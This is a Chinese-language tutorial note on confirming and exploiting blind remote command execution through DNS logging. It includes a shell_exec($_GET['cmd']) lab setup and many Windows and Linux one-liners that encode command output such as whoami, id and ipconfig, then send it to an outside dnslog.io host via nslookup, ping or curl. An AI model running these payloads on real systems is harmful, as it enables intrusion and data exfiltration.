验证漏洞
针对无回显的命令执行漏洞,让目标机执行wget、nc或者curl等命令,然后在公网主机监听对应的端口,通过日志来判断命令是否被执行。该方法可行,不过缺陷有以下几点:
-
修改了目标机的文件系统
-
不具有通用性,如windows没有nc、linux没有wget的情况。
-
涉及到TCP数据传输,执行速度慢
一种更好的方式是使用dns日志来判断命令是否执行,流程如下:
-
生成一个特殊的域名,如 1dsa3r3.shiro.server.com
-
构造payload让目标机执行 ping 1dsa3r3.shiro.server.com
-
登录dns服务后台,如果后台记录了该域名的dns查询记录,即证明目标存在命令执行。
这种方法首先适应了win/unix系统,二者均自带ping命令。而且执行DNS的速度要快于TCP。
Dnslog
首先需要有一个可以配置的域名,比如:gwsg7.l.dnslog.io,然后通过代理商设置域名 gwsg7.l.dnslog.io 的 nameserver 为自己的服务器 A,然后再服务器 A 上配置好 DNS Server,这样以来所有 gwsg7.l.dnslog.io 及其子域名的查询都会到 服务器 A 上,这时就能够实时地监控域名查询请求了
https://dnslog.io/ 这是一个免费的记录dnslog的平台,访问后会给你一个临时的三级域名:xxx.l.dnslog.io 当我们把注入信息放到四级域名那里,日志会记录下来。
环境搭建
然后使用get传入命令去执行
shell_exec($_GET['cmd'])
Windows
首先执行命令并编码返回结果,将结果保存到 temp
文件内,certutil
的 -F
参数可以强制覆盖。生成 base64
编码过的执行结果
cmd /c 命令> temp && certutil -encode -f temp temp
读取temp
中的内容忽略 -----BEGIN CERTIFICATE——
和 -----END CERTIFICATE——
并发送
FOR /F "eol=- delims=" %i IN (temp) DO (set _=%i & cmd /c nslookup %_:~0,-1%.xxxx.l.dnslog.i
尝试输出字符并发送
cmd /c echo JunMo > temp && certutil -encode -f temp temp && FOR /F "eol=- delims=" %i IN (temp) DO (set _=%i & cmd /c nslookup %_:~0,-1%.f57cx.l.dnslog.io)
来到dnslog平台查看,发现成功传了过来
如果内容太多的话,没办法一次发送一行,需要分次发,命令如下
FOR /F "eol=- delims=" %i IN (temp) DO (set _=%i & cmd /c nslookup %_:~0,40%.01kd.l.dnslog.io & cmd /c nslookup %_:~40,-1%.01kd.l.dnslog.io)
执行一下ipconfig然后发送
cmd /c ipconfig > temp && certutil -encode -f temp temp&&FOR /F "eol=- delims=" %i IN (temp) DO (set _=%i & cmd /c nslookup %_:~0,40%.01kd.l.dnslog.io & cmd /c nslookup %_:~40,-1%.01kd.l.dnslog.io)&del temp
也可以通过start会使用默认浏览器打开 Mo60.kukyv.l.dnslog.io
for /F %X in ('echo Mo60') do start http://%X.kukyv.l.dnslog.io
也可以通过ping命令
for /F %i in ('echo Mo60') do ping -n 1 %i.zjf5.l.dnslog.io
Linux
linux下通过ping命令
ping `whoami`.0s1pm.l.dnslog.io
ping命令结合base64编码
ping $(id|base64).94h07.l.dnslog.io
linux下通过curl命令
curl `whoami`.ue5pg.l.dnslog.io
原文始发于微信公众号(Mo60):无回显代码执行(rce)利用笔记
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论